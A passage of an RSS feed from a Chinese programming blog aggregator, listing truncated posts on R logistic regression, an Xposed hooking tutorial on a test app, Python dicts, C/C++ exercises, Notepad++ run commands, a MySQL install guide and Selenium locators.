      <description>文章目录 前言一、多因素logistic回归分析1. 数据准备2. 回归分析 前言 logistic回归分析是医学统计分析过程中常用的一种影响因素分析的方法，最常用的是二元logistic回归分析，即以二分类数据为因变量的logistic回归分析。上次已经和大家分享了批量进行logistic回归分析的代码，接下来将分享多因素logistic回归分析的代码。&#xA;一、多因素logistic回归分析 多因素logistic回归分析一般的分析思路其实就是把单因素分析过程中发现的有意义的变量同时纳入logistic回归模型，除了纳入有意义的变量之外，还可以通过强制纳入其他变量构建不同的模型。&#xA;多因素回归分析还包括逐步回归分析，以后有时间会进行整理分析，本文仅介绍全部纳入的代码。&#xA;1. 数据准备 首先，我们构建一个数据集供我们进行分析，同时方便大家复制学习：&#xA;set.seed(1234)#设置随机种子，保证生成数据一致 log_data&amp;lt;- data.frame(Y = sample(0:1, 600, replace = T), sex=sample(1:2, 600, replace = T), edu=sample(1:4, 600, replace = T), BMI=rnorm(600, mean = 22, sd = 3), 白蛋白=rnorm(600, mean = 35, sd = 6), 随机血糖=rnorm(600, mean = 4.75, sd = 1.2)) Y为我们要研究的二分类因变量，sex、edu、BMI、白蛋白和随机血糖为自变量数据。&#xA;使用summary()函数查看一下数据特征：&#xA;&amp;gt; summary(log_data) Y sex edu BMI 白蛋白 随机血糖 Min. :0.0000 Min. :1.000 Min. :1.00 Min. :13.</description>
    </item>
    <item>
      <title>基于xposed框架hook使用</title>
      <link>https://bchobby.github.io/posts/5c9d78b4e45023d5cec7feaaefa6b83f/</link>
      <pubDate>Thu, 16 Jun 2022 00:05:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c9d78b4e45023d5cec7feaaefa6b83f/</guid>
      <description>目录&#xA;创建测试项目&#xA;创建xposed模块&#xA;新增默认带Empty Activity的Module&#xA;在Module下的build.gradle文件添加依赖包&#xA;在Module下的AndroidManifest.xml文件添加xposed相关meta标签，用于框架识别&#xA;添加hook类，继承IXposedHookLoadPackage实现hook方法&#xA;在模块下的src/assets/xposed_init（没有则新建）文件添加完整的hook类名&#xA;安装xposed模块&#xA;hook测试app 对于加壳的情况 第一次hook 第二次hook&#xA;其他示例&#xA;目标代码 hook模块&#xA;总结&#xA;参考 Xposed：https://github.com/rovo89/Xposed&#xA;Xposed Installer：[OFFICIAL] Xposed for Lollipop/Marshmallow/Nougat/Oreo [v90-beta3, 2018/01/29] | XDA Forums&#xA;api文档：Xposed Framework API&#xA;Maven包：https://mvnrepository.com/artifact/de.robv.android.xposed/api&#xA;注：安装原生xposed框架需root，若无法root可以考虑使用virtualXposed&#xA;https://github.com/android-hacker/VirtualXposed&#xA;创建测试项目 为了便于实践，我们直接创建一个名为test的Empty Activity项目即可。&#xA;接着在MainActivity.java中，新增一个Log方法，我们后面用xposed框架来hook这个方法。&#xA;package com.example.test; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.widget.TextView; import java.util.Random; public class MainActivity extends AppCompatActivity { private static final String TAG = &#34;xposedText&#34;; private TextView tv_hook; @Override protected void onCreate(Bundle savedInstanceState) { super.</description>
    </item>
    <item>
      <title>Python dict字典基本操作（添加、修改、删除键值对）</title>
      <link>https://bchobby.github.io/posts/dd5ebb7cedda28409ef02cc8b75881d3/</link>
      <pubDate>Wed, 15 Jun 2022 22:12:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd5ebb7cedda28409ef02cc8b75881d3/</guid>
      <description>文章目录 Python dict字典Python字典添加键值对Python字典修改键值对Python字典删除键值对判断字典中是否存在指定键值对 Python dict字典 由于字典属于可变序列，所以我们可以任意操作字典中的键值对（key-value）。Python 中，常见的字典操作有以下几种：&#xA;向现有字典中添加新的键值对。修改现有字典中的键值对。从现有字典中删除指定的键值对。判断现有字典中是否存在指定的键值对。 初学者要牢记，字典是由一个一个的 key-value 构成的，key 是找到数据的关键，Python 对字典的操作都是通过 key 来完成的。&#xA;Python字典添加键值对 为字典添加新的键值对很简单，直接给不存在的 key 赋值即可，具体语法格式如下：&#xA;dictname[key] = value 对各个部分的说明：&#xA;dictname 表示字典名称。key 表示新的键。value 表示新的值，只要是 Python 支持的数据类型都可以。 下面代码演示了在现有字典基础上添加新元素的过程：&#xA;a = {&#39;数学&#39;:95} print(a) #添加新键值对 a[&#39;语文&#39;] = 89 print(a) #再次添加新键值对 a[&#39;英语&#39;] = 90 print(a) 运行结果：&#xA;{‘数学’: 95}&#xA;{‘数学’: 95, ‘语文’: 89}&#xA;{‘数学’: 95, ‘语文’: 89, ‘英语’: 90}&#xA;Python字典修改键值对 Python 字典中键（key）的名字不能被修改，我们只能修改值（value）。&#xA;字典中各元素的键必须是唯一的，因此，如果新添加元素的键与已存在元素的键相同，那么键所对应的值就会被新的值替换掉，以此达到修改元素值的目的。请看下面的代码：&#xA;a = {&#39;数学&#39;: 95, &#39;语文&#39;: 89, &#39;英语&#39;: 90} print(a) a[&#39;语文&#39;] = 100 print(a) 运行结果：</description>
    </item>
    <item>
      <title>Python 开发者的 10 大编程开发环境(IDE)，第一款是我的最爱</title>
      <link>https://bchobby.github.io/posts/daa48ca62ae6b047f8613ecd89c21d93/</link>
      <pubDate>Wed, 15 Jun 2022 17:43:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daa48ca62ae6b047f8613ecd89c21d93/</guid>
      <description>对于程序员来说，除了日常争论世界上最好的语言是哪一门以外，哪款 IDE 是最好的也是争议颇多，今天我们就来介绍 10 款最好的 Python 编程 IDE，总有一款适合你！&#xA;什么是 IDE？ IDE 代表集成开发环境，它是一个 GUI（图形用户界面），程序员可以在其中编写代码并生成最终产品。IDE 基本上统一了软件开发和测试所需的所有基本工具，这反过来又帮助程序员最大化输出。一些 IDE 是通用的，也就是说它们可以支持多种语言，例如，Sublime Text、Atom、Visual Studio 等。同样特定语言的 IDE 支持特定语言，它们还可以帮助我们了解语法错误等信息，比如：用于 Python 的 Pycharm、用于 Java 的 Jcreator、用于 Ruby/Rails 的 RubyMine 等等&#xA;10 大 IDE 一个完备的 IDE 应该包括以下内容：&#xA;代码编辑器：提供代码编辑器来编写和操作源代码，代码编辑器可以是独立的应用程序，也可以集成到 IDE 中语法高亮：提供此功能以用不同的颜色和字体标记基本语言的语法自动补全代码：旨在最大限度地减少时间消耗，自动完成功能代码或建议程序员需要出现哪些变量、参数或代码位调试器：调试器是测试和调试源代码所需的工具编译器：编译器是将源代码从一种语言翻译成另一种语言的组件，编译器通常执行预处理、词法分析、代码优化和代码生成任务语言支持：IDE 可以是特定于语言的，也可以支持多种语言 PyCharm PyCharm 由捷克公司 JetBrains 开发，是一个特定于 Python 的 IDE，是一个跨平台的 IDE。因此，用户可以根据自己的需要下载任何 Windows、Mac 或 Linux 版本来使用。可以说，PyCharm 被认为是 Python 最好的 IDE 之一，并且是使用最广泛的&#xA;除了常见功能外，PyCharm 还提供了其他功能，例如：&#xA;专业的项目视图允许在文件之间快速切换与 Django、Flask 和 web2py 一起快速进行 Web 开发PyCharm 配备了 1000 多个插件，程序员也可以编写自己的插件来扩展其功能它提供两个版本供下载，免费的社区版和付费的专业版，一般情况下社区版的功能完全够用 Spyder 是 Pierre Raybaut 于 2009 年开发的开源、跨平台 IDE。主要为数据分析师和科学家设计，被认为是一个用 Python 编写的强大的科学开发 IDE</description>
    </item>
    <item>
      <title>西南交通大学面向对象程序设计课程设计</title>
      <link>https://bchobby.github.io/posts/dece775c077d12fd3fe51f5c7d7064f3/</link>
      <pubDate>Wed, 15 Jun 2022 14:55:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dece775c077d12fd3fe51f5c7d7064f3/</guid>
      <description>前言: 回想去年九月到现在,经过将近一年的学习,感觉自己还是有点莫名奇妙地过这个大学生活,自以为学会了很多东西,但是好像并不知道这些东西会带给我什么,有什么用.&#xA;我自然是不敢在教务网上评论这门课的,只能在这里浅谈几句.其实作为一个学生来说,我并不觉得这门课真正的教会了我什么,很多的东西也是全靠自己到处找博客,找经典书籍硬啃,一个学期的课程也就那么几个课时.老师真正能为我们做的不过只是告诉我们,有一个东西叫面向对象编程,很有用,也很好用,仅此而已.剩下的都还需要我们自己去摸索学习,现在想来好像很多计算机的大佬们也不过是如此学过来的吧.&#xA;敬告后人:&#xA;至于课设一类的东西吧,我感觉其实你要说它有多牛逼也牛逼不到哪里去,不过宇宙机这个专业吧,多写写多敲敲还是好的,不管是在实现中学到的东西,还是对自己已经学过的东西一个熟悉,都是有潜移默化的好处的,更别说在整个架构上面的思维得到的锻炼了,因此我认为还是有益的,至少是一个让自己学的东西能够得到实践的机会.课可以翘,代码不能不敲,基础不能不打牢,课设能做还是做做吧.或许正是一个课设里面遇到的问题带你打开了其他的大门呢?&#xA;当然如果你是SWJTU的学生并且这学期选了这门课的话,也可以直接拿源码修改过后提交,不过我依然强烈建议拿这份代码做一个参考,而并不是不加思考的食用.按常理来说的话这份代码值得修改的地方还有很多,包括并没有使用继承,多态等机制(纯粹因为我认为没必要),这些因素可能会导致这份代码并不能称得上是一个好的课设.&#xA;基于c++实现的一个图书管理系统 实则为面向对象的期末课程设计 介绍&#xA;一个期末作业,作为兴趣开源&#xA;安装教程&#xA;下载解压文件后直接用Clion打开即可使用&#xA;点我直接下载源码压缩包https://gitee.com/jellyfishkngiht/library-system/repository/archive/v1.0?format=zip&#xA;或者点我转到gitee仓库https://gitee.com/jellyfishkngiht/library-system&#xA;使用说明&#xA;程序菜单完善,无需说明&#xA;参与贡献&#xA;不可参与贡献,此版本为最终版,将不再对代码进行维护管理&#xA;关于项目的说明&#xA;文件目录&#xA;BaseInfo/FileWrite/Infos/System/CmakeLists.txtmain.cpp BaseInfo/&#xA;LibraryFunction.hFunctions.cppCmakeLists.txt FileWrite/&#xA;FileWrite.hFileWrite.cppCmakeLists.txt Infos/&#xA;alllabs.txtbooks.txtlibrarians.txtunhandledlabs.txtusers.txt System/&#xA;System.hSystem.cppCmakeLists.txt 主要的类有:&#xA;LibraryFuntion.h : Reader, Librarian, Lab, Book, Menu&#xA;FileWrite.h : MyFile&#xA;System.h : System&#xA;Infos/ 文件夹是用于文件操作的&#xA;类的关系大概是 System 类去操作 LibraryFunction.h 中的各种类,最后在 main.cpp 中调用 MyFile 类和 System 类&#xA;注: 本程序并未使用继承和多态机制,并且封装性不够好,如果是用于应付期末作业的话慎用(本人摆烂哥)</description>
    </item>
    <item>
      <title>服务启动时报错：1053服务没有及时响应启动或控制请求</title>
      <link>https://bchobby.github.io/posts/b217087be879b4675757c05b43a96653/</link>
      <pubDate>Wed, 15 Jun 2022 14:06:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b217087be879b4675757c05b43a96653/</guid>
      <description>问题：替换dll文件后，自定义服务启动时报错：1053服务没有及时响应启动或控制请求&#xA;排查原因：可能是程序启动缺少某些dll文件&#xA;解决方案：1、使用depends依赖工具查看新增的dll文件是否缺少哪些dll文件，可以在c:\windows\system32中查找，找到后添加到程序所在的目录下后启动服务&#xA;2、若第1步无法解决，可尝试手动启动exe程序，查看报错，如图所示，添加缺失的文件再次启动服务即可解决问题</description>
    </item>
    <item>
      <title>运放专题：运算放大电路中的相位补偿</title>
      <link>https://bchobby.github.io/posts/230750970d59d57e9c3b5900ae44c95f/</link>
      <pubDate>Wed, 15 Jun 2022 11:38:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/230750970d59d57e9c3b5900ae44c95f/</guid>
      <description>写在前面 在上一弹中，我们讲了振铃是如何产生的，以及如何去避免振铃的产生。这一弹我们要讲的这是运算放大电路中的相位补偿问题，振铃的产生就是由于相位的滞后导致的，我们这节讲的相位补偿同样也可以解决振铃的问题，上一节采用的是破坏反馈回路的低通环节来解决甚至避免振铃问题。而这一节我们采用相位 补偿方式解决振铃问题，这样想，既然我们没法避免低通环节的产生，我们就加入一个能够使相位超前的高通电路环节来对其进行补偿，因为高通滤波器具有相位超前的特性， 我们就利用他的这个特性来进行补偿，从而解决振铃问题。下面我们就来看看吧。&#xA;先来看看是如何进行补偿的 看下面这个简单电路的例子，&#xA;信号源频率1KHz,幅值5v,方波，示波器探头的寄生电容为54P&#xA;R1 1M R2 9 M为分压电阻。&#xA;看下这种情况下的输出波形，由于低通环节的存在（积分电路），导致输出波形圆头圆脑。&#xA;下面我们加入一个补偿环节来对电路进行补偿，这里我们在R2上并联一个电容，容值为6p,整好为54p的1/9，也即电阻比值的反比，至于为啥是这个比例，我们以后再作解释。今天记住就行。&#xA;这里先提前说下，针对当前的参数，补偿电容为6P时是处于完全补偿状态，小于6P则处于欠补偿状态，大于6P则处于过补偿状态。下面我们来看看电路仿真以及波形输出：&#xA;1、完全补偿&#xA;补偿电容6P&#xA;波形比较标准。&#xA;2、欠补偿&#xA;补偿电容2p&#xA;欠补偿，波形圆头圆脑。&#xA;3、过补偿&#xA;补偿电容10p&#xA;过补偿，波形尖头尖脑&#xA;所以在选择补偿电容时一定要选择正确的参数，否则你的补偿电路可能会得不偿失。&#xA;相位补偿解决振铃问题 采用上面相同的思路，我们同样也可以解决运放电路中振铃的问题。拿个电路出来：&#xA;信号频率10KHz,幅值1 v，反相端寄生电7 nf&#xA;上述电路是会产生振铃的：&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/20200716194628552.png?x-oss-pro cess=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTYzMzY0Mw==,size_16,color_FFFFFF,t_70)&#xA;我们加入补偿环节：在反馈电阻R2上并联一个电容就可以达到补偿的作用，&#xA;说明： R2和C1构成了一个低通滤波环节，使相位滞后，儿而我们在R2上并联一个电容C2,C2和R1构成一个高通滤波器，使相位超前，已达到相位补偿的作用。看图:&#xA;看补偿后的输出波形：振铃基本消失。&#xA;完！！</description>
    </item>
    <item>
      <title>在Python中实现定时自动关闭的弹出对话框</title>
      <link>https://bchobby.github.io/posts/d4d21980e0ba583e78e0b95e4913ef1c/</link>
      <pubDate>Wed, 15 Jun 2022 11:31:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4d21980e0ba583e78e0b95e4913ef1c/</guid>
      <description>直接上代码：&#xA;import win32con import ctypes ctypes.windll.user32.MessageBoxTimeoutW(0,&#39;请选择(不理会，则10秒后自动关闭)\n&#39;,&#39;询问&#39;,win32con.MB_YESNO,0,10000) 解释：&#xA;Python实战中，有时需要弹出一个对话框，让用户选择，如果用户在指定的时间没有作出选择，则自动关闭，并返回一个默认值。&#xA;实现思路是使用WindowsAPI函数库中未公开的MessageBoxTimeoutW（ 这个可以使用汉字作为提示文字）或MessageBoxTimA（这个只能使用英文作为提示文字）。第一个参数是窗口句柄，就是弹出的对话框属于哪个窗口，0表示桌面；第二个参数是提示文字；第三个参数是要显示的按钮，第四个参数是延时时间。</description>
    </item>
    <item>
      <title>电脑怎么录屏，电脑录屏怎么录</title>
      <link>https://bchobby.github.io/posts/6ef00d2a46c936a5114e9d802a60cc5c/</link>
      <pubDate>Tue, 14 Jun 2022 18:51:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ef00d2a46c936a5114e9d802a60cc5c/</guid>
      <description>有些同学想在电脑上面录屏，但是不知道电脑怎么录屏。下面就和大家分享电脑录屏怎么录的具体方法。&#xA;1.win10自带的录屏工具&#xA;通过按快捷键Win + G，打开游戏录制工具栏，就可以开始使用win10自带的录屏工具。如果你是win7系统，可以使用QQ的录屏功能或者下载安装录屏软件。&#xA;2.QQ录屏功能&#xA;QQ比较常用基本每个电脑都有安装，如果对录屏要求不高，就可以直接使用QQ的录屏功能。QQ截图中其实有比较多的实用工具，其中就有一个录屏功能，按截图快捷键ctrl+alt+a,打开截图工具，选择录屏即可。&#xA;3.使用其他专业录屏软件&#xA;以上两个录屏方法都比较简单，适合一些不重要的临时录屏。如果你需要录制课件教程，游戏等，可以选择安装一些比较优秀的录屏软件。可以百度“办公人导航”，关键词“电脑录屏软件”。&#xA;通过上面的方法可以下载比较好用可以免费使用的电脑录屏软件。以上就是和大家关于电脑怎么录屏，电脑录屏怎么录的问题解答，希望对大家有所帮助。</description>
    </item>
    <item>
      <title>编写一个函数fun1，输入3个顶点坐标，求三角形的面积。</title>
      <link>https://bchobby.github.io/posts/0c1fca2e100bc0a0224759f2aed45543/</link>
      <pubDate>Tue, 14 Jun 2022 18:34:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c1fca2e100bc0a0224759f2aed45543/</guid>
      <description>题目：编写一个函数fun1，输入3个顶点坐标，求的面积。&#xA;代码示例：&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;math.h&amp;gt; double fun1(double x1,double y1,double x2,double y2,double x3,double y3) { double a,b,c,s; a=sqrt(pow((x1-x2),2)+pow((y1-y2),2)); b=sqrt(pow((x1-x3),2)+pow((y1-y3),2)); c=sqrt(pow((x3-x2),2)+pow((y3-y2),2)); if((a+b&amp;gt;c)&amp;amp;&amp;amp;(a+c&amp;gt;b)&amp;amp;&amp;amp;(b+c&amp;gt;a)) { s=(1.0/4)*sqrt((a+b+c)*(a+b-c)*(a+c-b)*(b+c-a)); return s; } else { printf(&#34;It is not a triangle!&#34;); return -1.0; } } int main() { double x1,y1,x2,y2,x3,y3,s; scanf(&#34;%lf%lf%lf%lf%lf%lf&#34;,&amp;amp;x1,&amp;amp;y1,&amp;amp;x2,&amp;amp;y2,&amp;amp;x3,&amp;amp;y3); s=fun1(x1,y1,x2,y2,x3,y3); if(s==-1.0) printf(&#34;It is not a triangle!&#34;); else printf(&#34;%lf\n&#34;,s); return 0; } 更多大学课业实验实训可关注公众号：Time木&#xA;回复相关关键词&#xA;学艺不精，若有错误还望指点</description>
    </item>
    <item>
      <title>notepad&#43;&#43; 配置命令 运行c语言 c&#43;&#43; java python代码</title>
      <link>https://bchobby.github.io/posts/cdc2631c774963d8e2e17769f09a1ab3/</link>
      <pubDate>Tue, 14 Jun 2022 15:01:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdc2631c774963d8e2e17769f09a1ab3/</guid>
      <description>cmd / /k:运行结束后保留窗口，继续接收命令(keep)&#xA;/c:运行结束后直接关闭窗口(close),不建议单独使用，可在末尾用&amp;amp;连接pause&#xA;&amp;amp;:连接不同命令&#xA;Pause:暂停，运行结束后等待任意键输入…&#xA;Exit:退出，若用/c可不用此命令&#xA;Eg.&#xA;Cmd /k ··· ：运行完命令继续接收命令&#xA;Cmd /k ···&amp;amp; pause ：运行完命令等待任意键输入…,接收任意键继续接收命令&#xA;Cmd /k ···&amp;amp; pause &amp;amp; exit ：运行完命令等待任意键输入…接收任意键后退出&#xA;Cmd /c ··· ：结果窗口一闪而过&#xA;Cmd /c ···&amp;amp; pause ：运行完命令等待任意键输入…接收任意键后退出&#xA;通过notepad&#34;运行&#34;按钮，经过命令行显示： 点击运行，然后输入以下命令，保存，设置快捷键，完成&#xA;gcc编译运行c：&#xA;cmd /k gcc &#34;$(FULL_CURRENT_PATH)&#34; -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT&#xA;g++编译运行c/c+=：&#xA;cmd /k g++ &#34;$(FULL_CURRENT_PATH)&#34; -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT&#xA;tcc编译运行c：&#xA;cmd/k tcc &#34;$(FULL_CURRENT_PATH)&#34; -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT</description>
    </item>
    <item>
      <title>VSCode常用插件</title>
      <link>https://bchobby.github.io/posts/8674bff73c07779f750c19df0182d436/</link>
      <pubDate>Tue, 14 Jun 2022 15:00:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8674bff73c07779f750c19df0182d436/</guid>
      <description>一、VSCode常用的插件&#xA;目录&#xA;1.Chinese (Simplified) 2.Auto Rename Tag 3.One Dark Pro 颜色主题 4.格式化代码（vscode系统自带） 5.open in browser 浏览器预览页面 ​6. Live Server 实时预览（推荐） 7. vscode-icons 设置文件图标主题 8. Easy LESS 编译less文件&#xA;9. 会了吧 10.git history&#xA;11.GitLens — Git supercharged&#xA;12.Bracket Pair Colorizer&#xA;13.Path Intellisense&#xA;14.Auto Close Tag&#xA;15.Vetur&#xA;16.HTML CSS Support&#xA;1.Chinese (Simplified) vscode下载完毕是英文版的，先安装这个插件，改为中文版，所以是我们第一个安装的插件。 中文插件chinese&#xA;2.Auto Rename Tag 修改开始标签，结束标签跟着自动变化，比较好用。&#xA;auto rename tag&#xA;3.One Dark Pro 颜色主题 one dark pro&#xA;4.格式化代码（vscode系统自带） 现在格式化代码的插件非常多，比如Prettier等等。 刚开始学，不太建议安装插件，先自己手写规范的语法格式&#xA;但是html标签嵌套比较多，可能需要自动格式化比较好，所以我们可以利用vscode自动的功能格式化代码，暂且不用格式化插件，自动保存照样能格式化代码。</description>
    </item>
    <item>
      <title>基于韦尔奇·鲍威尔法对图着色 含c&#43;&#43;代码</title>
      <link>https://bchobby.github.io/posts/19784ef02f437f6f913e42badb90f6e8/</link>
      <pubDate>Tue, 14 Jun 2022 09:32:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19784ef02f437f6f913e42badb90f6e8/</guid>
      <description>期末考试前面的最后一次离散数学编程作业，十分感慨。&#xA;一学期的离散数学学习，让我懂得了不能说是整个离散数学的体系吧，也可以说是一点也听不懂了，现在正值6月13号这么一个神圣的日子，我不禁感叹：我真的不想挂科。但是这门折磨的所谓的“专业课”也就到此为止了，或余实不合科研之路，只得目光短浅于两三前后端之琐事。故人各有志，非众生皆可忍导师压榨之苦、论文枯竭之苦，愚且鼠目寸光之辈哉，且浮于浅显之处乎！遂钟写此篇，抒己浅志，且造福于众生也。&#xA;代码如下：（望君付师作业时稍加改动，不至连坐之刑也）&#xA;#include &#34;iostream&#34; #include &#34;vector&#34; #include &#34;algorithm&#34; using namespace std; class Node { private: int degree; int color = -1; int number; static int maxColor; vector&amp;lt;int&amp;gt; connected; public: explicit Node(int degree = 0, int number = 0) : degree(degree), number(number) {} ~Node() = default; int getDegree() const; int getColor() const; int getNumber() const; void setDegree(const int&amp;amp; d); void setColor(const int&amp;amp; c); void setNumber(const int&amp;amp; n); void pushNode(const int&amp;amp; n); static void setMaxColor(const int&amp;amp; max); static int getMaxColor(); bool find(Node* node); bool operator&amp;gt;=(const Node&amp;amp; node) const; }; int Node::maxColor = -1; int Node::getDegree() const { return degree; } int Node::getNumber() const { return number; } int Node::getColor() const { return color; } void Node::setColor(const int &amp;amp;c) { color = c; } void Node::setNumber(const int &amp;amp;n) { number = n; } void Node::setDegree(const int &amp;amp;d) { degree = d; } void Node::pushNode(const int &amp;amp;n) { connected.</description>
    </item>
    <item>
      <title>数组冒泡排序</title>
      <link>https://bchobby.github.io/posts/4951c179e692d09064b7c88f5f7e31df/</link>
      <pubDate>Tue, 14 Jun 2022 01:06:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4951c179e692d09064b7c88f5f7e31df/</guid>
      <description>学习了冒泡的思想之后，自己写出来一个c语言冒泡排序程序，运行可以，因为是自己想的，所以和别的使用两次for的程序不一样，我使用的是while嵌套for，思路是：&#xA;因为要遍历数组n次（n为数组元素个数），所以外层用while遍历，然后内层是for的一次冒泡排序，其中j充当计数器的作用，也是跳出while的条件，部分代码如下：&#xA;while(j!=n) { for(i=0;i&amp;lt;n;i++) { if(i!=n-1) if(a[i]&amp;gt;a[i+1]) {temp=a[i]; a[i]=a[i+1]; a[i+1]=temp;} } j++; } 精华部分有了，那么由这个可以演变出自定义k次遍历后，就是很简单的代码了：&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;int n,k,i,j=0,temp;//n是数组个数，k是冒泡遍历多少次&#xA;scanf(&#34;%d&#34;,&amp;amp;n);&#xA;int a[n];&#xA;scanf(&#34;%d&#34;,&amp;amp;k);&#xA;for(i=0;i&amp;lt;n;i++)&#xA;{&#xA;scanf(&#34;%d&#34;,&amp;amp;a[i]);&#xA;}&#xA;while(j!=k)//精华部分&#xA;{&#xA;for(i=0;i&amp;lt;n;i++)&#xA;{&#xA;if(i!=n-1)&#xA;if(a[i]&amp;gt;a[i+1])&#xA;{temp=a[i];&#xA;a[i]=a[i+1];&#xA;a[i+1]=temp;}&#xA;}&#xA;j++;&#xA;}&#xA;for(i=0;i&amp;lt;n;i++)&#xA;{&#xA;if(i==n-1)&#xA;printf(&#34;%d&#34;,a[i]);&#xA;else&#xA;printf(&#34;%d &#34;,a[i]);&#xA;}&#xA;return 0;&#xA;}</description>
    </item>
    <item>
      <title>Windows中MySQL8详细安装教程</title>
      <link>https://bchobby.github.io/posts/50afd259b974eee8c2999458af2340f7/</link>
      <pubDate>Mon, 13 Jun 2022 23:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50afd259b974eee8c2999458af2340f7/</guid>
      <description>下载MySQL压缩包 去MySQL官网下载MySQL8数据库的压缩包&#xA;解压MySQL压缩包 下载完了是一个压缩包&#xA;如图：&#xA;解压缩一下：&#xA;其内部目录结构如下：&#xA;创建配置文件 在MySQL的根目录中新建配置文件：my.ini&#xA;配置信息如下：&#xA;[mysqld] #设置3306端口 port=3306 #设置mysql的安装目录，这个大家需要根据自己的安装目录来改一下 #值得一提的是，这个地方建议大家用\\表示一层目录，用\有时候会报错，也不知道为什么 basedir=D:\\ProgramFiles\\MySQL\\mysql-8.0.25 #设置mysql数据库的数据的存放目录 datadir=D:\\ProgramFiles\MySQL\\mysql-8.0.25\\data #允许最大连接数 max_connections=200 #允许连接失败的次数。 max_connect_errors=10 #服务端使用的字符集默认为utf8mb4 character-set-server=utf8mb4 #创建新表时将使用的默认存储引擎 default-storage-engine=INNODB #默认使用“mysql_native_password”插件认证 default_authentication_plugin=mysql_native_password [mysql] #设置mysql客户端默认字符集 default-character-set=utf8mb4 [client] #设置mysql客户端连接服务端时默认使用的端口 port=3306 default-character-set=utf8mb4 如图所示：&#xA;开始安装 第一步：用管理员身份打开命令提示符 按windows键，在开始菜单中输入cmd找到命令提示符，并用管理员身份运行&#xA;如果你的账户本身就是管理员，那么你可以直接按win+r快捷键，输入cmd,然后直接回车，调出命令提示符&#xA;如图&#xA;第二步：切换到你解压MySQL的根目录中 如图：&#xA;第三步：初始化数据库 输入命令：mysqld --initialize --console回车后开始初始化数据库，这个过程会花一点时间，初始化完成之后会出现如下界面：&#xA;如图：&#xA;异常情况 正常情况下，输入mysqld --initialize --console命令回车后就会开始初始化数据库，但有的小伙伴可能会遇到这种情况：&#xA;mysqld.exe - 系统错误 由于找不到MSVCP1.40.ddl，无法继续执行代码，重新安装程序可能会解决此问题。&#xA;如图：&#xA;原因 这是因为缺少c++运行库导致的，这种情况在windows10比较常见。&#xA;解决办法 用DirectXRepair修复工具修复后再次执行mysqld --initialize --console命令即可。我在这里给各位小伙伴提供了百度网盘的下载地址。大家就不用去网上慢慢找了。&#xA;百度网盘下载地址：https://pan.baidu.com/s/1BHvjRVgV134QshOffAER3w&#xA;提取码: 63p3 DirectXRepair修复工具的使用步骤： 一、解压缩DirectXRepair包 如图：</description>
    </item>
    <item>
      <title>word中mathtype公式右编号右对齐</title>
      <link>https://bchobby.github.io/posts/e115a2307f1b9989e26c07177b8f2184/</link>
      <pubDate>Mon, 13 Jun 2022 22:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e115a2307f1b9989e26c07177b8f2184/</guid>
      <description> 在word中利用mathtype的公式“右编号”功能可以很轻松的对所有公式的格式进行排版&#xA;但是如果不注意的话，会发现公式的编号并没有对齐到页面最右边&#xA;一般情况下，这是因为公式的制表位的原因&#xA;可参考如下解决方法：&#xA;word中mathtype7公式右编号右对齐解决方法，超实用！&#xA;讲的很清楚！ </description>
    </item>
    <item>
      <title>web自动化测试理论之selenium八大定位 -（2）</title>
      <link>https://bchobby.github.io/posts/86276d2f7c4094a717901812481bb9a0/</link>
      <pubDate>Mon, 13 Jun 2022 20:52:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86276d2f7c4094a717901812481bb9a0/</guid>
      <description>web自动化测试理论之selenium八大定位 一、ID定位 概念：通过元素的id属性来定位元素。&#xA;前置：所要定位的元素必须有id属性&#xA;方法：driver.find_element_by_id(id属性值)&#xA;&#34;&#34;&#34; 需求： 打开注册A.html页面，完成以下操作 1).使用id定位，输入用户名：admin 2).使用id定位，输入密码：123456 3).3秒后关闭浏览器窗口 &#34;&#34;&#34; # 导包 from time import sleep from selenium import webdriver # 创建浏览器驱动 driver = webdriver.Chrome() # 打开测试网址 driver.get(&#39;file:///C:/Users/Desktop/UITest/%E6%B3%A8%E5%86%8CA.html&#39;) # 定位元素,调用模拟操作方法 driver.find_element_by_id(&#39;userA&#39;).send_keys(&#39;admin&#39;) driver.find_element_by_id(&#39;passwordA&#39;).send_keys(&#39;123456&#39;) # 暂停3秒看效果 sleep(3) # 操作完毕关闭浏览器 driver.quit() 二、Name定位 概念：通过元素的name属性来定位元素。&#xA;前置：所要定位的元素必须有name属性。&#xA;方法：driver.find_element_by_name(name属性值)&#xA;特点：当前页面可以重复&#xA;由于name属性值可以重复，所以使⽤时需要查看是否为唯⼀&#xA;# 定位元素,调用模拟操作方法 driver.find_element_by_name(&#39;userA&#39;).send_keys(&#39;admin&#39;) driver.find_element_by_name(&#39;passwordA&#39;).send_keys(&#39;123456&#39;) 三、class_name 定位 